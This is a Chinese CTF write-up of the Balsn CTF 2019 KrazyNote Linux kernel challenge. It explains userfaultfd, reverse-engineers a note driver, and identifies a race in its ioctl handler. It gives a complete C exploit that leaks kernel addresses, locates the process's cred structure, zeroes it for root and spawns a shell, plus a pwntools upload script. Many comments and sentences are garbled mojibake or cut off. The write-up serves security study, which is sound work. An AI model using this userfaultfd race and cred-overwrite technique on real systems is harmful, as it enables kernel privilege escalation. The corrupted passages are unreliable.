【linux内核userfaultfd使用】Balsn CTF 2019 - KrazyNote

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本文所有测试文件地址见: https://github.com/bsauce/CTF/tree/master/KrazyNote-Balsn%20CTF%202019

userfaltfd在内核漏洞利用中非常有用,借这道题来学习一下。

## 一、背景知识

#### 1.提权

内核提权一般需要利用漏洞来修改task\_struct中的cred结构,commit\_cred(prepare\_kernel\_creds(0))会帮你找到cred结构并修改。

SMEP防止在内核态执行用户态代码,采用ROP来绕过;SMAP防止内核态使用用户态数据,切断了用户态的ROP,可以copy\_from\_user和copy\_to\_user来绕过SMAP。

### 2.页和虚内存

内核的内存主要有两个区域,RAM和交换区,即将被使用的内存保存在RAM中,暂时不被使用的内存放在交换区,内核控制交换进出过程。RAM中地址是物理地址,而内构

#### 3.页调度与延迟加载

有的内存既不在RAM也不在交换区,例如mmap创建的内存映射页。mmap页在read/write访问之前,实际上还没有创建(还没有映射到实际的物理页),例如:mmap(0x1000, prot\_read|prot\_write, Map\_FIXED|Map\_private, fd, 0);

内核并未将fd内容拷贝到0x1337000,只是将地址0x1337000映射到文件fd。

#### 当有如下代码访问时:

```
char *a = (char *)0x1337000
printf("content: %c\n", a[0]);
```

若发生对该页的引用,则(1)为0x1337000创建物理帧,(2)从fd读内容到0x1337000,(3)并在页表标记合适的入口,以便识别0x1337000虚地址。如果是堆空间映总之,若首次访问mmap创建的页,会耗时很长,会导致上下文切换和当前线程的睡眠。

# 4.别名页 Alias pages

没有ABI能直接访问物理页,但内核有时需要修改物理帧的值(例如修改页表入口),于是引入了别名页,将物理帧映射到虚拟页。在每个线程的启动和退出的页表中,所以 + physical address。

## 5.userfaultfd

userfaultfd机制可以让用户来处理缺页,可以在用户空间定义自己的page fau handler。用法请参考<u>官方文档</u>,含示例代码,见文件userfaultfd\_demo.c。

## Step 1: 创建一个描述符uffd

所有的注册内存区间、配置和最终的缺页处理等就都需要用ioctl来对这个uffd操作。ioctl-userfaultfd支持UFFDIO\_API、UFFDIO\_REGISTER、UFFDIO\_UNREGISTER、U

### # 2 **IIIIII**ioctl**III**

# # 3 **IMMIN**user-fault**IMM**ioctl**IMM**

UFFDIO\_COPY

UFFDIO\_ZEROPAGE

user-fault

user-fault

UFFDIO\_WAKE UFFDIO\_COPY\_MODE\_DONTWAKE UFFDIO\_ZEROPAGE\_MODE\_DONTWAKE UFFDIO\_ZEROPAGE\_MODE\_DONTWAKE

# # 1 #####uffd####ioctl###

UFFDIO\_API ■■■■■feature■■■■■

```
UFFD_FEATURE_EVENT_FORK (since Linux 4.11)
UFFD_FEATURE_EVENT_REMAP (since Linux 4.11)
UFFD_FEATURE_EVENT_REMOVE (since Linux 4.11)
UFFD_FEATURE_EVENT_UNMAP (since Linux 4.11)
UFFD_FEATURE_MISSING_HUGETLBFS (since Linux 4.11)
UFFD_FEATURE_MISSING_SHMEM (since Linux 4.11)
UFFD_FEATURE_SIGBUS (since Linux 4.14)
```

```
// userfaultfd
```

uffd = syscall(\_\_NR\_userfaultfd, O\_CLOEXEC | O\_NONBLOCK);

```
// INTERESstruct uffdio_registerINTERES:
// struct uffdio_range {
/* Length of range (bytes) */
// __u64 len;
// };
// struct uffdio_register {
// struct uffdio_range range;
// __u64 mode; /* Desired mode of operation (input) */
// _u64 ioctls; /* Available ioctl() operations (output) */
// };
addr = mmap(NULL, page_size, PROT_READ | PROT_WRITE, MAP_SHARED, fd, 0)
// addr ■ len ■■■■■■■■■■■■■■■■■uffdio_register
uffdio_register.range.start = (unsigned long) addr;
uffdio_register.range.len = len;
// mode ■■■ UFFDIO_REGISTER_MODE_MISSING
uffdio_register.mode = UFFDIO_REGISTER_MODE_MISSING;
// ■ioctl■UFFDIO_REGISTER■■
ioctl(uffd, UFFDIO_REGISTER, &uffdio_register);
STEP 3. 创建一个处理专用的线程轮询和处理"user-fault"事件
要使用userfaultfd,需要创建一个处理专用的线程轮询和处理"user-fault"事件。主进程中就要调用pthread_create创建这个自定义的handler线程:
// BEBBBpthread_createBBBfault handler
pthread_create(&thr, NULL, fault_handler_thread, (void *) uffd);
一个自定义的线程函数举例如下,这里处理的是一个普通的匿名页用户态缺页,我们要做的是把我们一个已有的一个page大小的buffer内容拷贝到缺页的内存地址处。用到
注意:如果写exp只需处理一次缺页,可以不用循环。
static void * fault handler thread(void *arg)
        // BuffdBBBBBBBBBBstruct uffd msqBBB
        static struct uffd_msg msg;
        // ioctl UFFDIO COPY SEE STRUCT uffdio copy
        struct uffdio_copy uffdio_copy;
        uffd = (long) arg;
        for (;;) { //
                   // poll
                  struct pollfd pollfd;
                  pollfd.fd = uffd;
                   pollfd.events = POLLIN;
                   poll(&pollfd, 1, -1);
                   // ■■user-fault■■■■
                   read(uffd, &msg, sizeof(msg));
                   // INTERPOLE SET OF THE PAGE 
                   assert(msg.event == UFFD_EVENT_PAGEFAULT);
                   // ■■uffdio_copy■■■■ioctl-UFFDIO_COPY■■■■user-fault
                   uffdio_copy.src = (unsigned long) page;
                   uffdio_copy.dst = (unsigned long) msg.arg.pagefault.address & ~(page_size - 1);
                   uffdio_copy.len = page_size;
                   uffdio_copy.mode = 0;
                   uffdio_copy.copy = 0;
                    // page( TITTE TO THE TOTAL TO THE TOTAL THE T
                   ioctl(uffd, UFFDIO_COPY, &uffdio_copy);
                         . . . . . .
        }
 二、漏洞分析
1.init_module()函数
void init_module()
```

```
bufPtr = bufStart;
return misc_register(&dev);
dev是struct miscdevice结构
struct miscdevice {
  int minor;
  const char *name;
  const struct file_operations *fops;
  struct list_head list;
  struct device *parent;
  struct device *this_device;
  const struct attribute_group **groups;
  const char *nodename;
  umode t mode;
};
##IDA##dev###dev_name#"note"#fops##0x680##
                                                              ; DATA XREF: init_module+5↑o
.data:0000000000000620 dev
.data:0000000000000620
                                                               ; cleanup_module+5\u00e10
.data:0000000000000621
                                      db
                                            0
.data:0000000000000622
                                      db
                                            0
.data:0000000000000623
                                      db
                                            0
.data:0000000000000624
                                      db
                                            0
.data:0000000000000625
                                      db
                                            0
.data:0000000000000626
                                      db
                                            0
.data:0000000000000627
                                      db
                                            0
.data:0000000000000628
                                      dq offset aNote
                                                             ; "note"
.data:0000000000000630
                                      dq offset unk_680
.data:0000000000000638
                                      align 80h
.data:000000000000680 unk_680
                                     db 0
                                                              ; DATA XREF: .data:0000000000000630 o
// file operations■■
struct file operations {
  struct module *owner;
  loff_t (*llseek) (struct file *, loff_t, int);
  ssize_t (*read) (struct file *, char __user *, size_t, loff_t *);
  ssize_t (*write) (struct file *, const char __user *, size_t, loff_t *);
  ssize_t (*read_iter) (struct kiocb *, struct iov_iter *);
  ssize_t (*write_iter) (struct kiocb *, struct iov_iter *);
  int (*iopoll)(struct kiocb *kiocb, bool spin);
  int (*iterate) (struct file *, struct dir_context *);
  int (*iterate_shared) (struct file *, struct dir_context *);
   __poll_t (*poll) (struct file *, struct poll_table_struct *);
  long (*unlocked_ioctl) (struct file *, unsigned int, unsigned long);
  long (*compat_ioctl) (struct file *, unsigned int, unsigned long);
   ... truncated
};
unk_680对应file_operations结构,发现只定义了open和unlocked_ioctl函数,其他都是null。unlocked_ioctl和compat_ioctl有区别,unlocked_ioctl7
2.unlocked_ioctl()函数
unlocked_ioctl()函数实现4个功能: new/edit/show/delete。
// BEBBBuserPtrBBBBreqBB, note length / note content
void * unlocked_ioctl(file *f, int operation, void *userPtr)
char encBuffer[0x20];
struct noteRequest req;
memset(encBuffer, 0, sizeof(encBuffer));
if ( copy_from_user(&req, userPtr, sizeof(req)) )
```

/\* make note, view note, edit note, delete note \*/

return result;

}

```
struct noteRequest{
size_t idx;
size_t length;
size_t userptr;
// note■■—■■■note
struct note {
  unsigned long key;
  unsigned char length;
  void *contentPtr;
  char content[];
//(1) new note==, operation == -256
if ( operation == -256 )
     idx = 0;
     while (1)
       if (!notes[idx])
     if (++idx == 16)
        return -14LL;
     } // BBBBnotesBBBBB16Bnote
  new = (note *)bufPtr;
  req.noteIndex = idx;
  notes[idx] = (struct note *)bufPtr;
  new->length = req.noteLength;
  new->key = *(void **)(*(void **)(__readgsqword((unsigned __int64)&current_task) + 0x7E8) + 80);// ????
  bufPtr = &new->content[req.length];
  if ( req.length > 0x100uLL )
    _warn_printk("Buffer overflow detected (%d < %lu)!\n", 256LL, req.length);
    BUG();
  }
  _check_object_size(encBuffer, req.length, OLL);
  copy_from_user(encBuffer, userptr, req.length);
  length = req.length;
  if ( req.length )
    i = 0LL;
   do
     encBuffer[i / 8] ^= new->key;
                                  // encryption
     i += 8LL;
    }
    while ( i < length );
  }
  memcpy(new->content, encBuffer, length);
  new->contentPtr = &new->content[-page_offset_base];// ■■ page_offset_base
  return 0;
//(2) delete
ptr = notes;
if (operation == -253)
dо
*ptr = 0LL;
++ptr;
```

// noteRequest

```
}
while (ptr < note_end);</pre>
bufPtr = bufStart;
memset(bufStart, 0, sizeof(bufStart));
return 0;
// (3) edit copy_from_user compared race
if (operation == -255)
   note = notes[idx];
   if ( note )
   {
   length = note->length;
   userptr = req.userptr;
   contentPtr = (note->contentPtr + page_offset_base);
   _check_object_size(encBuffer, length, OLL);
   copy_from_user(encBuffer, userptr, length);
   if ( length )
       {
           i = 0;
           do
             encBuffer[i/8] ^= note->key;
             i += 8LL;
           while (length > i);
           memcpy(contentPtr, encBuffer, length)
   return OLL;
   }
}
// (4) show
if ((_DWORD)) operation == -254)
 tmp_note2 = (note *)global_notes[note_idx2];
   result = OLL;
   if ( tmp_note2 )
     len = LOBYTE(tmp_note2->length);
     contentPtr2 = (_DWORD *)(tmp_note2->contentPtr + page_offset_base);
     memcpy(encBuffer, contentPtr, len)
   }
 if ( len )
 {
    ji_2 = 0LL;
    dо
      encBuffer[ji_2 / 8] ^= tmp_note2->key;
      ji_2 += 8LL;
    }
    while ( ji_2 < len );
  }
  userptr = req.userptr;
  _check_object_size(encBuffer, len, 1LL);
  copy_to_user(userptr, encBuffer, len);
  result = OLL;
}
3.漏洞
考虑以下两线程:
                          thread 1
                                                                                       thread 2
                                                            idle
edit note 0 (size 0x10)
                                                            idle
copy_from_user
idle
                                                            delete all notes
idle
                                                            add note 0 with size 0x0
idle
                                                            add note 1 with size 0x0
```

由于edit时copy\_from\_user首次访问mmap地址,触发缺页处理函数,等线程2删除所有note并重新添加两个note后,线程1才继续编辑note 0,此时的编辑content size还是0x10,所以就会产生溢出。

### 三、漏洞利用

#### 1.利用方法

目标:若伪造note结构,就能构造任意地址读写。

```
// note struct note {
  unsigned long key;
  unsigned char length;
  void *contentPtr;
  char content[];
}
```

key值泄露: 若读取note 0,则会将加密后的null字节也打印出来,其实就是key值。

0x0 note 0, with content size 0x10

0x18 note 1 0x30 NULL'ed out data

module基址泄露:得到key后,可以得到contentPtr值,contentPtr须加上page\_base\_offset才是真实指针。就能以module的.bss相对地址进行任意读写,可读比

内核基址泄露:可读取module的0x6c处的.text:0000000000000C call \_copy\_from\_user来泄露内核基址。

```
page_offset_base泄露: 读取.text:000000000000001F7 mov r12, cs:page_offset_base\u00dchoh4字节偏移page_offset_base_offset, 再读取page_offset_base_offset + 0x1fe + mudule_base\u00dchoh6 , 就是page_offset_base的值。为什么非要泄露它呢,因为读/写都是以它为基地址。
```

### 2.exploit

为了准确控制线程1在copy\_from\_user或copy\_to\_user处停住,需用到userfaultfd(处理用户空间的页错误)。注意本题的漏洞根本原因在于使用了unlocked\_ioct

## 触发溢出步骤:

- (1) 创建1个content length长度为0x10的note。
- (2) 创建1个userfalut fd,来监视0x1337000地址处的页错误。
- (3)对note0进行edit,并利用mmap将传进去的userptr指针指向0x1337000地址空间。
- (4)在edit noteO执行到copy\_from\_user时,进入页错误处理程序。
- (5) 也错误处理程序中,清空notes,并创建note0/note1,content length都是0。
- (6)恢复执行edit note0,将note1的content length覆盖为0xf0。
- (7)触发溢出。

### 利用步骤:

- (1) 泄露key:输出note1,content内容为NULL,输出内容会与key异或,仍为key。
- (2)泄露module\_base:创建note2,输出note1,会输出note2的contentPtr指针,即可计算出module\_base。
- (3) 泄露page\_offset\_base: edit note1,将note2的contentPtr改成module\_base+0x1fa,.text:00000000000000001F7 mov r12,cs:page\_offset\_base,show note2泄露page\_offset\_base在module中的偏移page\_offset\_base\_offset;edit note,将note2的contentPtr改成module\_base+0x1fe+page\_offset\_base\_offset,泄露出page\_offset\_base.
- (4)搜索cred地址:利用prctl的PR\_SET\_NAME功能搜索到task\_struct结构,(满足条件:real\_cred—NAME■0x10■和cred—NAME■0x8■指针值相等且位于内核空间,
- (5)修改cred提权。

EXP如下:见exp\_cred.c。

```
// gcc -static -pthread xx.c -g -o xx
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/ioctl.h>
#include <string.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <sys/mman.h>
#include <poll.h>
#include <pthread.h>
#include <errno.h>
#include <signal.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <linux/userfaultfd.h>
#include <pthread.h>
#include <poll.h>
#include <sys/prctl.h>
#include <stdint.h>
typedef struct _noteRequest
   size_t idx;
  size_t length;
   char* userptr;
}noteRequest;
int fd;
void init()
   fd = open("/dev/note", 0);
   if (fd<0)
      exit(-1);
   puts("[+] init done!");
}
void errExit(char* msg)
  puts(msg);
   exit(-1);
}
void create(char* buf, uint8_t length)
  noteRequest req;
   req.length = length;
   req.userptr = buf;
   if (ioctl(fd, -256, \&req) < 0)
       errExit("[-] Failed to create!");
}
void edit(uint8_t idx, char* buf, uint8_t length)
   noteRequest req;
   req.length = length;
   req.userptr = buf;
   req.idx
            = idx;
   if (ioctl(fd, -255, &req) < 0)
       errExit("[-] Failed to edit!");
void show(uint8_t idx, char* buf)
   noteRequest req;
   req.userptr = buf;
   req.idx
            = idx;
   if (ioctl(fd, -254, &req) < 0)
       errExit("[-] Failed to show!");
```

```
void delete()
  noteRequest req;
  if (ioctl(fd, -253, &req) < 0)
      errExit("[-] Failed to delete!");
char buffer[0x1000];
#define FAULT_PAGE ((void*)(0x1337000))
void* handler(void *arg)
  struct uffd_msg msg;
  unsigned long uffd = (unsigned long)arg;
  puts("[+] Handler created");
  struct pollfd pollfd;
  int nready;
  pollfd.fd
                = uffd;
  pollfd.events = POLLIN;
  nready = poll(&pollfd, 1, -1);
  if (nready != 1) // ############copy_from_user###FAULT_PAGE
      errExit("[-] Wrong pool return value");
  printf("[+] Trigger! I'm going to hang\n");
   //WWW.copy_from_user
  delete();
  create(buffer, 0);
  create(buffer, 0);
   // ■■■■note0 struct + 0x10 buffer
   // IIIIInote0 struct + note1 struct
   // BEEFFERENCEnote1
  if (read(uffd, &msg, sizeof(msg)) != sizeof(msg)) // ■■uffd■■msg■■■■■■■
      errExit("[-] Error in reading uffd_msg");
  struct uffdio_copy uc;
  memset(buffer, 0, sizeof(buffer));
  buffer[8] = 0xf0; //\blacksquarenote1 \blacksquarelength\blacksquare\blacksquare0xf0
  uc.src = (unsigned long)buffer;
  uc.dst = (unsigned long)FAULT_PAGE;
  uc.len = 0 \times 1000;
  uc.mode = 0;
  ioctl(uffd, UFFDIO_COPY, &uc); // ####copy_from_user
  puts("[+] done 1");
   return NULL;
void register_userfault()
   struct uffdio_api ua;
   struct uffdio_register ur;
  pthread_t thr;
  uint64_t uffd = syscall(__NR_userfaultfd, O_CLOEXEC | O_NONBLOCK);
  ua.api = UFFD_API;
   ua.features = 0;
  if (ioctl(uffd, UFFDIO_API, &ua) == -1) // create the user fault fd
       errExit("[-] ioctl-UFFDIO_API");
   if (mmap(FAULT_PAGE, 0x1000, 7, 0x22, -1, 0) != FAULT_PAGE)//create page used for user fault
       errExit("[-] mmap fault page");
  ur.range.start = (unsigned long)FAULT_PAGE;
   ur.range.len = 0x1000;
   ur.mode
                  = UFFDIO_REGISTER_MODE_MISSING;
```

```
if (ioctl(uffd, UFFDIO REGISTER, &ur) == -1)
      errExit("[-] ioctl-UFFDIO_REGISTER"); //
                                  int s = pthread_create(&thr, NULL, handler, (void*)uffd);
  if (s!=0)
      errExit("[-] pthread_create"); // handler
int main(int argc, char const *argv[])
  init();
  create(buffer, 0x10); // memory layout: note struct + 0x10 buffer
  register_userfault(); // register the user fault
  edit(0, FAULT PAGE, 1);
         /* BEEeditBEEBEEBEcopy_from_user
         notes Copy_from_user COPY_00B R&W */
  // 1.leak kev
  show(1, buffer);
  unsigned long key = *(unsigned long *)buffer;
  create(buffer, 0);  // note2: can be overwritten
  // 2. leak module base
  show(1.buffer);
  unsigned long bss_addr = *(unsigned long*) (buffer + 0x10) ^ key;
  unsigned long module_base = bss_addr - 0x2568;
                         module_base=0x%lx\n", key, module_base);
  printf("[+] key=0x%lx
  // 3. leak base addr, not kernel_base
  unsigned long page_offset_base = module_base + 0x1fa;
  unsigned long* fake_note = (unsigned long*)buffer;
  fake_note[0] = 0 ^ key; // note2 key
  fake_note[1] = 4 ^ key;
  fake_note[2] = page_offset_base ^ key;
  edit(1, buffer, 0x18);
  int page_offset_base_offset;
  show(2, (char*)&page_offset_base_offset);
  printf("[+] page_offset_base_offset = 0x%x\n", page_offset_base_offset);
         //0x1f7 .text:0000000000001F7
                                                        mov r12, cs:page_offset_base
                       .text:0000000000001FE
                                                           add
                                                                   r12, [rax+10h]
  //
  page_offset_base = module_base + 0x1fe + page_offset_base_offset;
  printf("[+] page_offset_base = 0x%lx\n", page_offset_base);
  fake_note[1] = 8 ^ key;
  fake_note[2] = page_offset_base ^ key;
  edit(1, buffer, 0x18);
  unsigned long base_addr;
  show(2, (char *)&base_addr);
  printf("[+] base_addr = 0x%lx\n", base_addr);
  if (prctl(PR_SET_NAME, "try2findmesauce") < 0)</pre>
      errExit("[-] prctl set name failed");
  unsigned long* task;
  for (size_t off = 0; ; off += 0x100) // \blacksquarelength\blacksquare1\blacksquare1\blacksquare1\blacksquare1\blacksquare1\blacksquare0xff
  {
      fake_note[0] = 0 ^ key;
      fake_note[1] = 0xfff ^ key;
      fake_note[2] = off ^ key;
      edit(1, buffer, 0x18);
      memset(buffer, 0, 0x100);
      show(2, buffer);
      task = (unsigned long*)memmem(buffer, 0x100, "try2findmesauce", 14);
      if (task != NULL)
          printf("[+] found: p 0x|x, 0x|x|n", task, task[-1], task[-2]);
          if (task[-1] > 0xffff000000000000 && task[-2] > 0xffff00000000000) // ■■cred■■■■■■
             break;
```

```
// 5. change cred to 0
  fake_note[0] = 0 ^ key;
  fake_note[1] = 0x28 ^ key;
  fake_note[2] = (task[-2] + 4 - base_addr) ^ key; // ########base_addr####
  edit(1, buffer, 0x18);
  int fake cred[8];
  memset(fake_cred, 0, sizeof(fake_cred));
  edit(2, (char*)fake_cred, 0x28);
  char* args[2] = {"/bin/sh", NULL};
  execv("/bin/sh", args);
  return 0;
想利用call_usermodehelper方法来写,但发现prctl_hook怎么都修改不了(可能是系统不允许修改prctl_hook)。报错信息如下:
不过可以改modprobe_path,利用脚本见exp_modprobe.c。
/home/note # ./test
[+] init done!
[+] Handler created
[+] Trigger! I'm going to hang
[+] done 1
[+] key=0xffff9a3f0ea52000
                          module_base=0x65c0c00f0000
[+] page_offset_base_offset = 0xe5babaa2
[+] page_offset_base = 0x65c0a5c9bca0
[+] base_addr = 0xffff9a3f00000000
[+] real module_base = 0xffffffffc00f0000
[+] kernel_base = 0xffffffffa4e00000
[+] order_cmd_addr = 0xffffffffa5e5d940
[+] prctl_hook_addr = 0xffffffffa5cb0460
[+] poweroff_work_func_addr = 0xffffffffa4ead300
[*] Wait 1!
1
[*] Wait 2!2
   16.235460] BUG: unable to handle kernel paging request at ffffffffa5cb0460
   16.238245] #PF error: [PROT] [WRITE]
   16.239130] PGD 9c12067 P4D 9c12067 PUD 9c13063 PMD eb8a163 PTE 8000000009ab0061
   16.240921] Oops: 0003 [#1] SMP PTI
   16.241536] CPU: 0 PID: 169 Comm: test Tainted: G
                                                                 5.1.9 #1
                                                    OE
   16.242241] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS Ubuntu-1.8.2-lubuntu1 04/01/2014
   16.243084] RIP: 0010:0xffffffffc00f034f
   16.243980] Code: de e8 65 7d 31 e5 48 2b 2d 6e b9 ba e5 31 c0 49 89 6c 24 10 e9 eb fd ff ff 48 8b 44 24 18 49 8d 7c 24 08
   16.246040] RSP: 0018:ffffb4a9c0233d40 EFLAGS: 00000282
   16.246269] RAX: fffffffffa4ead300 RBX: fffffb4a9c0233d58 RCX: ffffffffc00f2550
   16.246690] RDX: ffffffffc00f0000 RSI: fffffb4a9c0233d58 RDI: ffffffffa5cb0468
   16.247939] RBP: 0000000000000000 R08: ffffffffc00f0000 R09: 000000000000000
   Γ
   16.249253] R13: 00007fff98029c40 R14: 00007fff98029be0 R15: 000000000000000
Γ
   Γ
   16.251110] CS: 0010 DS: 0000 ES: 0000 CRO: 000000080050033
Γ
   16.251654] CR2: ffffffffa5cb0460 CR3: 000000000ea52000 CR4: 0000000003006f0
Γ
Γ
   16.252143] Call Trace:
Γ
   16.253153] ? __ia32_sys_reboot+0x20/0x20
   16.254058] ? 0xffffffffc00f0000
Γ
   16.254712] do_vfs_ioctl+0xa1/0x620
Γ
   16.255031] ? vfs_read+0xfb/0x110
Γ
   16.255355] ksys_ioctl+0x66/0x70
Γ
   16.255582] __x64_sys_ioctl+0x16/0x20
Γ
   16.255829] do_syscall_64+0x55/0x110
Γ
   16.256102] entry_SYSCALL_64_after_hwframe+0x44/0xa9
Γ
Γ
   16.256469] RIP: 0033:0x4468b7
Γ
   16.256807] Code: 48 83 c4 08 48 89 d8 5b 5d c3 66 0f 1f 84 00 00 00 00 00 48 89 e8 48 f7 d8 48 39 c3 0f 92 c0 eb 92 66 90
   16.257880] RSP: 002b:00007fff98029bc8 EFLAGS: 00000246 ORIG_RAX: 00000000000010
Γ
   16.258288] RAX: fffffffffffffda RBX: 0000000004002e0 RCX: 0000000004468b7
Γ
   16.258653] RDX: 00007fff98029be0 RSI: ffffffffffff1 RDI: 0000000000000000
Γ
   16.259016] RBP: 00007fff98029c00 R08: 00000000000000 R09: 00000000000000
```

}

```
16.259694] R10: 0000000000000000 R11: 00000000000246 R12: 0000000004073a0
Γ
   16.259853] R13: 000000000407430 R14: 0000000000000 R15: 0000000000000
   16.2600871 Modules linked in: note(OE)
Γ
   16.2635281 CR2: ffffffffa5cb0460
Γ
   16.266388] ---[ end trace 5ced815cb65d3b46 ]---
Γ
   16.2692771 RIP: 0010:0xffffffffc00f034f
Γ
   16.270061] Code: de e8 65 7d 31 e5 48 2b 2d 6e b9 ba e5 31 c0 49 89 6c 24 10 e9 eb fd ff ff 48 8b 44 24 18 49 8d 7c 24 08
Γ
   16.271021 | RSP: 0018:ffffb4a9c0233d40 EFLAGS: 00000282
Γ
   16.2713311 RAX: ffffffffa4ead300 RBX: ffffb4a9c0233d58 RCX: fffffffc00f2550
Γ
   16.2717041 RDX: ffffffffc00f0000 RSI: ffffb4a9c0233d58 RDI: ffffffffa5cb0468
Γ
   16.272078] RBP: 0000000000000000 R08: ffffffffc00f0000 R09: 000000000000000
Γ
   Γ
   16.272858] R13: 00007fff98029c40 R14: 00007fff98029be0 R15: 000000000000000
Γ
   16.273394] FS: 000000001524880(0000) GS:ffff9a3f0f400000(0000) knlgs:00000000000000
Γ
   16.273865] CS: 0010 DS: 0000 ES: 0000 CRO: 0000000080050033
Γ
   16.274193] CR2: fffffffffa5cb0460 CR3: 000000000ea52000 CR4: 0000000003006f0
Γ
   16.274679] Kernel panic - not syncing: Fatal exception
Γ
   16.275555] Kernel Offset: 0x23e00000 from 0xffffffff81000000 (relocation range: 0xffffffff80000000-0xffffffffffffff)
Γ
   16.276853] Rebooting in 1 seconds..
```

## 问题

#### 1.打包错误

### 2.文件过大

可以参考<u>这篇writeup</u>,利用<u>uclibc</u>来编译二进制文件,环境配置比较麻烦,可直接下载一个<u>配置好的系统</u>。

## 3.上传文件并执行

```
#!/usr/bin/env python2
from pwn import *
def send_command(cmd, print_cmd = True, print_resp = False):
  if print cmd:
      log.info(cmd)
  p.sendlineafter("$", cmd)
  resp = p.recvuntil("$")
  if print resp:
      log.info(resp)
  p.unrecv("$")
  return resp
def send file(name):
  file = read(name)
  f = b64e(file)
  send_command("rm /home/note/a.gz.b64")
  send_command("rm /home/note/a.gz")
  send_command("rm /home/note/a")
  size = 800
   for i in range(len(f)/size + 1):
       log.info("Sending chunk {}/{}".format(i, len(f)/size))
       send_command("echo -n '{}'>>/home/note/a.gz.b64".format(f[i*size:(i+1)*size]), False)
   send_command("cat /home/note/a.gz.b64 | base64 -d > /home/note/a.gz")
   send_command("gzip -d /home/note/a.gz")
   send_command("chmod +x /home/note/a")
```

```
def exploit():
    send_file("exploit.gz")
    #send_command("/home/note/a")
    p.sendline("/home/note/a")
    p.interactive()

if __name__ == "__main__":

    #context.log_level = 'debug'
    s = ssh(host="krazynote-3.balsnctf.com", port=54321, user="knote", password="knote", timeout=5)
    p = s.shell('/bin/sh')
    #p = process("./run.sh")
    exploit()
```

### 参考

https://www.anguanke.com/post/id/189015

https://pr0cf5.github.io/ctf/2019/10/10/balsn-ctf-krazynote.html

 $\underline{https://github.com/Mem2019/Mem2019.github.io/blob/master/codes/krazynote.c}$ 

userfaultfd使用方法

从内核到用户空间(1) — 用户态缺页处理机制 userfaultfd 的使用

http://man7.org/linux/man-pages/man2/userfaultfd.2.html

https://github.com/pr0cf5/CTF-writeups/blob/master/2019/BalsnCTF/knote/exploit.c

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1. 0 条回复

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